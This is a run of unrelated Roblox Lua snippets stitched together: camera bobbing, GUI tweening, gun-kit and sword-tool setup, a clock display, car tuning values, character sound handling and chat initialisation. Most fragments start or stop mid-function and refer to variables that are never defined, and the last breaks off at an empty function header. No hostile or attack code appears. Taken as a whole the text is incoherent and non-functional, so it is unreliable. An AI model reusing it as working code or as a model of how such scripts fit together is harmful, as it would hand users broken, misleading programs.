local camera = game.Workspace.CurrentCamera local character = game.Players.LocalPlayer.Character or game.Players.LocalPlayer.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local Z = 0 local damping = (character.Humanoid.WalkSpeed / 2) * GENERAL_DAMPING local PI = 3.1415926 local tick = PI / 2 local running = false local strafing = false humanoid.Strafing:Connect(function(bool) strafing = bool end) humanoid.Jumping:Connect(function() running = false end) humanoid.Swimming:Connect(function() running = false end) humanoid.Running:Connect(function(speed) if speed > 0.1 then running = true else running = false end end) local function mix(par1, par2, factor) return par2 + (par1 - par2) * factor end while true do game:GetService("RunService").RenderStepped:Wait() fps = (camera.CFrame.p - character.Head.Position).Magnitude if fps < 0.52 then Z = 1 else Z = 0 end if running == true and strafing == false then tick = tick + humanoid.WalkSpeed / 92 else if tick > 0 and tick < PI / 2 then tick = mix(tick, PI / 2, 0.9) end if tick > PI / 2 and tick < PI then tick = mix(tick, PI / 2, 0.9) end if tick > PI and tick < PI * 1.5 then tick = mix(tick, PI * 1.5, 0.9) end if tick > PI * 1.5 and tick < PI * 2 then tick = mix(tick, PI * 1.5, 0.9) end end if tick >= PI * 2 then tick = 0 end camera.CFrame = camera.CFrame * CFrame.new(math.cos(tick) / damping * OFFSET_DAMPING, math.sin(tick * 2) / (damping * 2 * OFFSET_DAMPING), Z) * CFrame.Angles(0, 0, math.sin(tick - PI * 1.5) / (damping * 15 * TILT_DAMPING)) --Set camera CFrame end
-------------------------
function tween(prop,object,val,tm) local tweenInfo = TweenInfo.new(tm, Enum.EasingStyle.Quad, Enum.EasingDirection.Out, 0, false) local goal = {} goal[prop] = val local a = ts:Create(object, tweenInfo, goal) a:Play() end function rad(x) local open = x and 0 or 0.5 HUB:TweenPosition(UDim2.new(open-0.5, 0, 1, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.25,true) radio:TweenPosition(UDim2.new(0-open, 0, 1, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.25,true) end function swap() if mode == 2 then mode = 0 rad(true) else mode = mode + 1 rad(false) end HUB.Windows:TweenPosition(UDim2.new(0, 0, mode-2,3),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) HUB.Misc:TweenPosition(UDim2.new(0, 0, mode-1,3),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
-- Initialization
Storage = Instance.new('Folder', game.Workspace) local StorageFolder = Instance.new('ObjectValue', Tool.Configuration) StorageFolder.Value = Storage StorageFolder.Name = 'StorageFolder' RocketTemplate = script.Rocket RocketTemplate.Parent = nil RocketTemplate.PrimaryPart.BodyForce.force = Vector3.new(0,196.2,0) * (RocketTemplate.PrimaryPart:GetMass() + RocketTemplate.Part:GetMass())
--- Alias for DoCleaning() -- @function Destroy
Maid.Destroy = Maid.DoCleaning return Maid
-------------------------------------------------------------------------------------- --------------------[ CONSTANTS ]----------------------------------------------------- --------------------------------------------------------------------------------------
local Gun = script.Parent local serverMain = Gun:WaitForChild("serverMain") local Handle = Gun:WaitForChild("Handle") local AimPart = Gun:WaitForChild("AimPart") local Main = Gun:WaitForChild("Main") local Ammo = Gun:WaitForChild("Ammo") local ClipSize = Gun:WaitForChild("ClipSize") local StoredAmmo = Gun:WaitForChild("StoredAmmo") local createTweenIndicator = serverMain:WaitForChild("createTweenIndicator") local deleteTweenIndicator = serverMain:WaitForChild("deleteTweenIndicator") local getWeldCF = serverMain:WaitForChild("getWeldCF") local gunSetup = serverMain:WaitForChild("gunSetup") local lerpCF = serverMain:WaitForChild("lerpCF") local createBlood = serverMain:WaitForChild("createBlood") local createBulletImpact = serverMain:WaitForChild("createBulletImpact") local createShockwave = serverMain:WaitForChild("createShockwave") local createTrail = serverMain:WaitForChild("createTrail") local Particle = require(script:WaitForChild("Particle")) local Spring = require(script:WaitForChild("Spring")) local Anims = require(Gun:WaitForChild("ANIMATIONS")) local Plugins = require(Gun:WaitForChild("PLUGINS")) local S = require(Gun:WaitForChild("SETTINGS")) local Player = game.Players.LocalPlayer local Char = Player.Character local Humanoid = Char:WaitForChild("Humanoid") local Torso = Char:WaitForChild("Torso") local Head = Char:WaitForChild("Head") local HRP = Char:WaitForChild("HumanoidRootPart") local Root = HRP:WaitForChild("RootJoint") local Neck = Torso:WaitForChild("Neck") local LArm = Char:WaitForChild("Left Arm") local RArm = Char:WaitForChild("Right Arm") local LLeg = Char:WaitForChild("Left Leg") local RLeg = Char:WaitForChild("Right Leg") local M2 = Player:GetMouse() local mainGUI = script:WaitForChild("mainGUI") local crossHair = mainGUI:WaitForChild("crossHair") local HUD = mainGUI:WaitForChild("HUD") local Scope = mainGUI:WaitForChild("Scope") local fireSelect = mainGUI:WaitForChild("fireSelect") local hitMarker = mainGUI:WaitForChild("hitMarker") local Sens = mainGUI:WaitForChild("Sens") local crossA = crossHair:WaitForChild("A"):WaitForChild("Line") local crossB = crossHair:WaitForChild("B"):WaitForChild("Line") local crossC = crossHair:WaitForChild("C"):WaitForChild("Line") local crossD = crossHair:WaitForChild("D"):WaitForChild("Line") local Controls = HUD:WaitForChild("Controls") local gunNameTitle = HUD:WaitForChild("gunName"):WaitForChild("Title") local scopeMain = Scope:WaitForChild("Main") local scopeSteady = Scope:WaitForChild("Steady") local fireModes = fireSelect:WaitForChild("Modes") local modeGUI = HUD:WaitForChild("Mode"):WaitForChild("Main") local clipAmmoGUI = HUD:WaitForChild("Ammo"):WaitForChild("Clip") local storedAmmoGUI = HUD:WaitForChild("Ammo"):WaitForChild("Stored") local DS = game:GetService("Debris") local CP = game:GetService("ContentProvider") local RS = game:GetService("RunService") local UIS = game:GetService("UserInputService") local Cam = game.Workspace.CurrentCamera local ABS, HUGE, FLOOR, CEIL = math.abs, math.huge, math.floor, math.ceil local RAD, SIN, COS, TAN = math.rad, math.sin, math.cos, math.tan local VEC2, V3 = Vector2.new, Vector3.new local CF, CFANG = CFrame.new, CFrame.Angles local INSERT = table.insert local maxStamina = S.sprintTime * 60 local maxSteadyTime = S.scopeSettings.steadyTime * 60 local LethalIcons = { "http://www.roblox.com/asset/?id=194849880"; "http://www.roblox.com/asset/?id=195727791"; "http://www.roblox.com/asset/?id=195728137"; "http://www.roblox.com/asset/?id=218151830"; } local TacticalIcons = { "http://www.roblox.com/asset/?id=195728473"; "http://www.roblox.com/asset/?id=195728693"; } local ASCII = { 071; 117; 110; 032; 075; 105; 116; 032; 115; 099; 114; 105; 112; 116; 101; 100; 032; 098; 121; 032; 084; 117; 114; 098; 111; 070; 117; 115; 105; 111; 110; 000; } local Ignore = { Char; ignoreModel; } local Shoulders = { Right = Torso:WaitForChild("Right Shoulder"); Left = Torso:WaitForChild("Left Shoulder") } local armC0 = { CF(-1.5, 0, 0) * CFANG(RAD(90), 0, 0); CF(1.5, 0, 0) * CFANG(RAD(90), 0, 0); } local legC0 = { Stand = { CF(-0.5, -2, 0); CF(0.5, -2, 0); }; Crouch = { CF(-0.5, -1.5, 0.5) * CFANG(-RAD(90), 0, 0); CF(0.5, -1, -0.75); }; Prone = { CF(-0.5, -2, 0); CF(0.5, -2, 0); }; } local Sine = function(X) return SIN(RAD(X)) end local Linear = function(X) return (X / 90) end
--[[ Local Functions ]]
-- local function getHumanoid() local character = LocalPlayer and LocalPlayer.Character if character and character.Parent then if CachedHumanoid and CachedHumanoid.Parent == character then return CachedHumanoid else CachedHumanoid = nil for _,child in pairs(character:GetChildren()) do if child:IsA('Humanoid') then CachedHumanoid = child return CachedHumanoid end end end end end
-- Objects
local displayMap = { {1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1}, -- 0 {0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1}, -- 1 {1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1}, -- 2 {1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1}, -- 3 {1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1}, -- 4 {1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1}, -- 5 {1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1}, -- 6 {1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1}, -- 7 {1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1}, -- 8 {1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1} } -- 9 local blankPattern = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0} local error_E = {1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1} local error_R = {0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0} local noon_A = {1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1} local noon_P = {1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0} local lightingService = game:GetService("Lighting") local minsAfterMidnightVar = script.Parent.MinutesAfterMidnight local msPerUpdateVar = script.MillisecondsPerUpdate local isOnVar = script.Parent.isOn local prevIsOn = true local screen = script.Parent.Display.SurfaceGui.Screen local hrsTens = script.Parent.Display.SurfaceGui.Screen.Hours10 local hrsOnes = script.Parent.Display.SurfaceGui.Screen.Hours1 local minsTens = script.Parent.Display.SurfaceGui.Screen.Minutes10 local minsOnes = script.Parent.Display.SurfaceGui.Screen.Minutes1 local noon = script.Parent.Display.SurfaceGui.Screen.Noon
--Wheelie tune
local WheelieD = 8 local WheelieTq = 100 local WheelieP = 15 local WheelieMultiplier = 1.5 local WheelieDivider = 1
--SFX ID to Sound object
local Sounds = {} do local Figure = script.Parent.Parent Head = Figure:WaitForChild("Head") Humanoid = Figure:WaitForChild("Humanoid") Sounds[SFX.Died] = Head:WaitForChild("Died") Sounds[SFX.Running] = Head:WaitForChild("Running") Sounds[SFX.Swimming] = Head:WaitForChild("Swimming") Sounds[SFX.Climbing] = Head:WaitForChild("Climbing") Sounds[SFX.Jumping] = Head:WaitForChild("Jumping") Sounds[SFX.GettingUp] = Head:WaitForChild("GettingUp") Sounds[SFX.FreeFalling] = Head:WaitForChild("FreeFalling") Sounds[SFX.Landing] = Head:WaitForChild("Landing") Sounds[SFX.Splash] = Head:WaitForChild("Splash") end local Util Util = { --Define linear relationship between (pt1x,pt2x) and (pt2x,pt2y). Evaluate this like at x. YForLineGivenXAndTwoPts = function(x,pt1x,pt1y,pt2x,pt2y) --(y - y1)/(x - x1) = m local m = (pt1y - pt2y) / (pt1x - pt2x) --float b = pt1.y - m * pt1.x; local b = (pt1y - m * pt1x) return m * x + b end; --Clamps the value of "val" between the "min" and "max" Clamp = function(val,min,max) return math.min(max,math.max(min,val)) end; --Gets the horizontal (x,z) velocity magnitude of the given part HorizontalVelocityMagnitude = function(Head) local hVel = Head.Velocity + Vector3.new(0,-Head.Velocity.Y,0) return hVel.magnitude end; --Gets the vertical (y) velocity magnitude of the given part VerticalVelocityMagnitude = function(Head) return math.abs(Head.Velocity.Y) end; --Checks if Sound.Playing is usable SoundIsV2 = function(sound) return sound.IsLoaded end; --Setting Playing/TimePosition values directly result in less network traffic than Play/Pause/Resume/Stop --If these properties are enabled, use them. Play = function(sound) if Util.SoundIsV2(sound) then if sound.TimePosition ~= 0 then sound.TimePosition = 0 end if not sound.IsPlaying then sound.Playing = true end else sound:Play() end end; Pause = function(sound) if Util.SoundIsV2(sound) then if sound.IsPlaying then sound.Playing = false end else sound:Pause() end end; Resume = function(sound) if Util.SoundIsV2(sound) then if not sound.IsPlaying then sound.Playing = true end else sound:Resume() end end; Stop = function(sound) if Util.SoundIsV2(sound) then if sound.IsPlaying then sound.Playing = false end if sound.TimePosition ~= 0 then sound.TimePosition = 0 end else sound:Stop() end end; } do -- List of all active Looped sounds local activeLoopedSounds = {} -- Last seen Enum.HumanoidStateType local activeState = nil -- Verify and set that the sound's .Looped property is the value of "looped" function verifyAndSetLoopedForSound(sound, looped) if sound.Looped ~= looped then sound.Looped = looped end end -- Verify and set that "sound" is in "activeLoopedSounds". function setSoundInActiveLooped(sound) for i=1, #activeLoopedSounds do if activeLoopedSounds[i] == sound then return end end table.insert(activeLoopedSounds,sound) end -- Stop all active looped sounds except parameter "except". If "except" is not passed, all looped sounds will be stopped. function stopActiveLoopedSoundsExcept(except) for i=#activeLoopedSounds,1,-1 do if activeLoopedSounds[i] ~= except then Util.Pause(activeLoopedSounds[i]) table.remove(activeLoopedSounds,i) end end end -- Table of Enum.HumanoidStateType to handling function local stateUpdateHandler = { [Enum.HumanoidStateType.Dead] = function() stopActiveLoopedSoundsExcept() local sound = Sounds[SFX.Died] verifyAndSetLoopedForSound(sound,false) Util.Play(sound) end; [Enum.HumanoidStateType.RunningNoPhysics] = function() stateUpdated(Enum.HumanoidStateType.Running) end; [Enum.HumanoidStateType.Running] = function() local sound local ray = Ray.new(Head.Position,Vector3.new(0,-15,0)) local part1,pos1,norm1,mat1 = workspace:FindPartOnRay(ray,Head.Parent) if mat1 == Enum.Material.Water then sound = Sounds[SFX.Swimming] if activeState ~= Enum.HumanoidStateType.Swimming then activeState = Enum.HumanoidStateType.Swimming local splashSound = Sounds[SFX.Splash] splashSound.Volume = .1 Util.Play(splashSound) end else if activeState == Enum.HumanoidStateType.Swimming then local splashSound = Sounds[SFX.Splash] splashSound.Volume = .1 Util.Play(splashSound) end sound = Sounds[SFX.Running] activeState = Enum.HumanoidStateType.Running end verifyAndSetLoopedForSound(sound,true) stopActiveLoopedSoundsExcept(sound) if Util.HorizontalVelocityMagnitude(Head) > 0.5 then if not sound.IsPlaying then Util.Resume(sound) end setSoundInActiveLooped(sound) else stopActiveLoopedSoundsExcept() end end; [Enum.HumanoidStateType.Swimming] = function() if activeState ~= Enum.HumanoidStateType.Swimming and Util.VerticalVelocityMagnitude(Head) > 0.1 then local splashSound = Sounds[SFX.Splash] splashSound.Volume = Util.Clamp( Util.YForLineGivenXAndTwoPts( Util.VerticalVelocityMagnitude(Head), 100, 0.28, 350, 1), 0,1) Util.Play(splashSound) end do local sound = Sounds[SFX.Swimming] verifyAndSetLoopedForSound(sound,true) stopActiveLoopedSoundsExcept(sound) if not sound.IsPlaying then Util.Resume(sound) end setSoundInActiveLooped(sound) end end; [Enum.HumanoidStateType.Climbing] = function() local sound = Sounds[SFX.Climbing] verifyAndSetLoopedForSound(sound,true) if Util.VerticalVelocityMagnitude(Head) > 0.1 then if not sound.IsPlaying then Util.Resume(sound) end stopActiveLoopedSoundsExcept(sound) else stopActiveLoopedSoundsExcept() end setSoundInActiveLooped(sound) end; [Enum.HumanoidStateType.Jumping] = function() if activeState == Enum.HumanoidStateType.Jumping then return end local ray = Ray.new(Head.Position,Vector3.new(0,-15,0)) local part1,pos1,norm1,mat1 = workspace:FindPartOnRay(ray,Head.Parent) local splashSound = Sounds[SFX.Splash] if mat1 and mat1 == Enum.Material.Water then splashSound.Volume = .1 Util.Play(splashSound) end stopActiveLoopedSoundsExcept() local sound = Sounds[SFX.Jumping] verifyAndSetLoopedForSound(sound,false) Util.Play(sound) end; [Enum.HumanoidStateType.GettingUp] = function() stopActiveLoopedSoundsExcept() local sound = Sounds[SFX.GettingUp] verifyAndSetLoopedForSound(sound,false) Util.Play(sound) end; [Enum.HumanoidStateType.Freefall] = function() if activeState == Enum.HumanoidStateType.Freefall then return end local sound = Sounds[SFX.FreeFalling] if sound.Volume ~= 0 then sound.Volume = 0 end stopActiveLoopedSoundsExcept() end; [Enum.HumanoidStateType.FallingDown] = function() stopActiveLoopedSoundsExcept() end; [Enum.HumanoidStateType.Landed] = function() stopActiveLoopedSoundsExcept() if Util.VerticalVelocityMagnitude(Head) > 75 then local landingSound = Sounds[SFX.Landing] landingSound.Volume = Util.Clamp( Util.YForLineGivenXAndTwoPts( Util.VerticalVelocityMagnitude(Head), 50, 0, 100, 1), 0,1) Util.Play(landingSound) end end } -- Handle state event fired or OnChange fired function stateUpdated(state) if stateUpdateHandler[state] ~= nil then stateUpdateHandler[state]() end local ray = Ray.new(Head.Position,Vector3.new(0,-15,0)) local part1,pos1,norm1,mat1 = workspace:FindPartOnRay(ray,Head.Parent) if mat1 and mat1 == Enum.Material.Water then return else activeState = state end end -- Runs on heartbeat function onHeartbeat(step) local stepScale = step / (1/60.0) do local sound = Sounds[SFX.FreeFalling] if activeState == Enum.HumanoidStateType.Freefall then if Head.Velocity.Y < 0 and Util.VerticalVelocityMagnitude(Head) > 75 then if not sound.IsPlaying then Util.Resume(sound) end if sound.Volume < 1 then sound.Volume = Util.Clamp(sound.Volume + 0.01 * stepScale,0,1) end else if sound.Volume ~= 0 then sound.Volume = 0 end end else if sound.IsPlaying then Util.Pause(sound) end end end do local sound = Sounds[SFX.Running] if activeState == Enum.HumanoidStateType.Running then if sound.IsPlaying and Util.HorizontalVelocityMagnitude(Head) < 0.5 then Util.Pause(sound) end end end end Humanoid.Died:connect( function() stateUpdated(Enum.HumanoidStateType.Dead) end) Humanoid.Running:connect( function() stateUpdated(Enum.HumanoidStateType.Running) end) Humanoid.Swimming:connect( function() stateUpdated(Enum.HumanoidStateType.Swimming) end) Humanoid.Climbing:connect( function() stateUpdated(Enum.HumanoidStateType.Climbing) end) Humanoid.Jumping:connect( function() stateUpdated(Enum.HumanoidStateType.Jumping) end) Humanoid.GettingUp:connect( function() stateUpdated(Enum.HumanoidStateType.GettingUp) end) Humanoid.FreeFalling:connect( function() stateUpdated(Enum.HumanoidStateType.Freefall) end) Humanoid.FallingDown:connect( function() stateUpdated(Enum.HumanoidStateType.FallingDown) end) -- required for proper handling of Landed event Humanoid.StateChanged:connect(function(old, new) stateUpdated(new) end) game:GetService('RunService').Heartbeat:connect(onHeartbeat) end
--// UI Tween Info
local L_165_ = TweenInfo.new( 1, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0 ) local L_166_ = { TextTransparency = 1 }
-- Get references to the Dock frame and its children
local dock = script.Parent.Parent.DockShelf local click = script.Click local buttons = {} for _, child in ipairs(dock:GetChildren()) do if child:IsA("ImageButton") then table.insert(buttons, child) end end
--Power Front Wheels
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then table.insert(Drive,v) end end end
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder. --// I have to do some weird stuff since people could potentially already have pre-existing --// things in a folder with the same name, and they may have different class types. --// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that --// the rest of the code can interface with and have the guarantee that the RemoteEvents they want --// exist with their desired names.
local FFlagUserHandleChatHotKeyWithContextActionService = false do local ok, value = pcall(function() return UserSettings():IsUserFeatureEnabled("UserHandleChatHotKeyWithContextActionService") end) if ok then FFlagUserHandleChatHotKeyWithContextActionService = value end end local FFlagUserHandleFriendJoinNotifierOnClient = false do local success, value = pcall(function() return UserSettings():IsUserFeatureEnabled("UserHandleFriendJoinNotifierOnClient") end) if success then FFlagUserHandleFriendJoinNotifierOnClient = value end end local FILTER_MESSAGE_TIMEOUT = 60 local RunService = game:GetService("RunService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Chat = game:GetService("Chat") local StarterGui = game:GetService("StarterGui") local ContextActionService = game:GetService("ContextActionService") local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local clientChatModules = Chat:WaitForChild("ClientChatModules") local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants")) local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings")) local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules") local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util")) local ChatLocalization = nil
-- This file was @generated by Tarmac. It is not intended for manual editing.
return { Calendar = "rbxassetid://8915045287", Caret = "rbxassetid://8915045496", Close = "rbxassetid://8915045615", Clothing = "rbxassetid://8915045766", Eye = "rbxassetid://8915045943", Gamepad = { ButtonA = "rbxassetid://8712691282", ButtonB = "rbxassetid://8712691429", ButtonL1 = "rbxassetid://8712691596", ButtonL2 = "rbxassetid://8712691753", ButtonR1 = "rbxassetid://8712691861", ButtonR2 = "rbxassetid://8712691936", ButtonX = "rbxassetid://8712692030", ButtonY = "rbxassetid://8712692150", DPadDown = "rbxassetid://8712692266", DPadLeft = "rbxassetid://8712692372", DPadRight = "rbxassetid://8712692480", DPadUp = "rbxassetid://8712692563", }, Info = "rbxassetid://8915046089", KeyBacking = "rbxassetid://9589929509", RadioButtonInner = "rbxassetid://9589830458", RadioButtonOuter = "rbxassetid://9589830610", Robux = "rbxassetid://8915046254", Rotation = "rbxassetid://8915046440", ShoppingCart = "rbxassetid://8915046573", Sparkle = "rbxassetid://8915046721", Timer = "rbxassetid://8915046889", }
-- setup emote chat hook --Game.Players.LocalPlayer.Chatted:connect(function(msg) -- local emote = "" -- if (string.sub(msg, 1, 3) == "/e ") then -- emote = string.sub(msg, 4) -- elseif (string.sub(msg, 1, 7) == "/emote ") then -- emote = string.sub(msg, 8) -- end -- -- if (pose == "Standing" and emoteNames[emote] ~= nil) then -- playAnimation(emote, 0.1, Humanoid) -- end ---- print("===> " .. string.sub(msg, 1, 3) .. "(" .. emote .. ")") --end)
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("White",Paint) end)
--FlyScript...Build in PlaneFlyer
script.Parent.Parent.Parent.Character:findFirstChild("Plane").Parts.Values.On.Changed:connect(function() if(script.Parent.Parent.Parent.Character:findFirstChild("Plane").Parts.Values.On.Value == true) then local engine = script.Parent.Parent.Parent.Character:findFirstChild("Plane").Parts.Engine local position = engine.Position bv = engine.BodyVelocity bv.velocity = Vector3.new(0,0,0) while on do wait(.1) speed = engine.Speed.Value spd = (speed/100)*5 dir = engine.CFrame.lookVector VertSpd = engine.VerticalSpeed.Value bv.velocity = dir * (spd*0.422*50)+Vector3.new(0,(VertSpd)+(spd),0) if(script.Parent.Parent.Parent.Character:findFirstChild("Plane").Parts.Values.On.Value == false) then break end end end end) function getBullet(Type) local founddd = false for _,v in pairs(vParts:GetChildren()) do if v.Name == Type then fireB(Type,v) founddd = true end end end function getairtoground(mousetar,Type) if mousetar == nil then return end local as = mousetar.Parent for i=1,math.huge do if (as.className == "Part") or (as.className == "WedgePart") and (as.Parent ~= vParts) or (as.Parent ~=vParts.Parent.Body) then break end if as == workspace then return end as = as.Parent end local foundtar = false if(Type.Name == "Launch1") or(Type.Name == "Launch2") then v = Type fireHo(v,mousetar) foundtar = true end end function Getmissile(Type) if(plane:findFirstChild(Type)~= nil) then if(plane:findFirstChild(Type).className == "Part") then if(Type == "LaunchA") then if(hydra.left ~= 0) then hydra.left = hydra.left -1 fire(plane.Parent,plane:findFirstChild("LaunchA")) end elseif(Type == "LaunchB") then if(hydra.right ~= 0) then hydra.right = hydra.right -1 fire(plane.Parent,plane:findFirstChild("LaunchB")) end end end end end
--[[Weight and CG]]
Tune.Weight = 4000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- local grid = scroller:WaitForChild("UIGridLayout")
local function GetGuiObjects() local objs = {} local c = scroller:GetChildren() for i=1, #c do local o = c[i] if o:IsA("GuiObject") then table.insert(objs,o) end end return objs end -- updates the CanvasSize based on the amount of frames in the frame, along with local function Update() scroller.CanvasSize = UDim2.new(0,only_y and 0 or layout.AbsoluteContentSize.X,0,layout.AbsoluteContentSize.Y + 25) end connections[scroller] = { layout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(Update), scroller.AncestryChanged:Connect(function() if not scroller.Parent then AutoCanvasSize.Disconnect(scroller) end end), scroller.ChildAdded:Connect(function() spawn(Update) -- it appears the child does not get added until the connection returns (or something of that effect) -- so, we spawn the Update so it is inclusive of the new child. end), scroller.ChildRemoved:Connect(Update) } Update() end return AutoCanvasSize
--!strict
local Sift = script.Parent.Parent local _T = require(Sift.Types)
--Enter the name of the model you want to go to here. ------------------------------------
modelname="tele1"
--Made by Luckymaxer
Debris = game:GetService("Debris") RunService = game:GetService("RunService") Character = script.Parent Humanoid = Character:FindFirstChild("Humanoid") Smoke = script:FindFirstChild("Smoke") function DestroyScript() Debris:AddItem(script, 0.5) end if not Smoke or not Humanoid or Humanoid.Health > 0 then return end PartsEffected = {} for i, v in pairs(Character:GetChildren()) do if v:IsA("BasePart") and v.Transparency < 1 then v.Velocity = (v.Velocity + (CFrame.Angles((math.random(-360, 360) * 0.01), (math.random(-360, 360) * 0.01), (math.random(-360, 360) * 0.01)).lookVector * math.random(1, 5))) v.RotVelocity = Vector3.new((math.random(-360, 360) * 0.01), (math.random(-360, 360) * 0.01), (math.random(-360, 360) * 0.01)) for ii, vv in pairs(v:GetChildren()) do if vv:IsA("ParticleEmitter") then vv:Destroy() end end local SmokeEffect = Smoke:Clone() SmokeEffect.Enabled = true SmokeEffect.Parent = v table.insert(PartsEffected, {Part = v, Smoke = SmokeEffect}) end end FadeLoop = RunService.Stepped:connect(function(Time, Step) if #PartsEffected == 0 then if FadeLoop then FadeLoop:disconnect() return end else for i, v in pairs(PartsEffected) do if v.Part.Transparency < 1 then v.Part.Transparency = (v.Part.Transparency + 0) if v.Part.Transparency >= 1 then v.Smoke.Enabled = false Debris:AddItem(v.Part, 4) end else table.remove(PartsEffected, i) end end end end)
-- setup emote chat hook
Game.Players.LocalPlayer.Chatted:connect(function(msg) local emote = "" if (string.sub(msg, 1, 3) == "/e ") then emote = string.sub(msg, 4) elseif (string.sub(msg, 1, 7) == "/emote ") then emote = string.sub(msg, 8) end if (pose == "Standing" and emoteNames[emote] ~= nil) then playAnimation(emote, 0.1, Humanoid) end end)
--print(Speed)
Velocidade = Speed TS:Create(Main.Status.Barra.Stamina, TweenInfo.new(.25), {Size = UDim2.new(Speed/ServerConfig.RunWalkSpeed,0,0.75,0)} ):Play() end) Ferido.Changed:Connect(function(Valor)
-- [[ -- #if defined(LUA_COMPAT_VARARG)
-- use `arg' as default name self:new_localvarliteral(ls, "arg", nparams) nparams = nparams + 1 f.is_vararg = self.VARARG_HASARG + self.VARARG_NEEDSARG
--and create the "Event.E" syntax stub. Really it's just a stub to construct a table which our Create --function can recognize as special.
Create.E = function(eventName) return {__eventname = eventName} end DamageValues = { BaseDamage = 0, SlashDamage = 17, } Damage = DamageValues.BaseDamage BaseUrl = "http://www.roblox.com/asset/?id=" BasePart = Instance.new("Part") BasePart.Shape = Enum.PartType.Block BasePart.Material = Enum.Material.Plastic BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = true BasePart.Locked = true BasePart.Anchored = false Animations = { LeftSlash = {Animation = Tool:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, RightSlash = {Animation = Tool:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, SideSwipe = {Animation = Tool:WaitForChild("SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5}, R15LeftSlash = {Animation = Tool:WaitForChild("R15LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, R15RightSlash = {Animation = Tool:WaitForChild("R15RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, R15SideSwipe = {Animation = Tool:WaitForChild("R15SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5}, } Sounds = { Unsheath = Handle:WaitForChild("Unsheath"), Slash = Handle:WaitForChild("Slash"), Lunge = Handle:WaitForChild("Lunge"), } LastExplode = 0 ToolEquipped = false ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){ Name = "ServerControl", Parent = Tool, }) ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){ Name = "ClientControl", Parent = Tool, }) Handle.Transparency = 0 Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Create("ObjectValue"){ Name = "creator", Value = player, } Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function CheckTableForInstance(Table, Instance) for i, v in pairs(Table) do if v == Instance then return true end end return false end function DealDamage(character, damage) if not CheckIfAlive() or not character then return end local damage = (damage or 0) local humanoid = character:FindFirstChild("Humanoid") local rootpart = character:FindFirstChild("HumanoidRootPart") if not rootpart then rootpart = character:FindFirstChild("Torso") end if not humanoid or humanoid.Health == 0 or not rootpart then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) humanoid:TakeDamage(damage) end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false) end function Blow(Part) 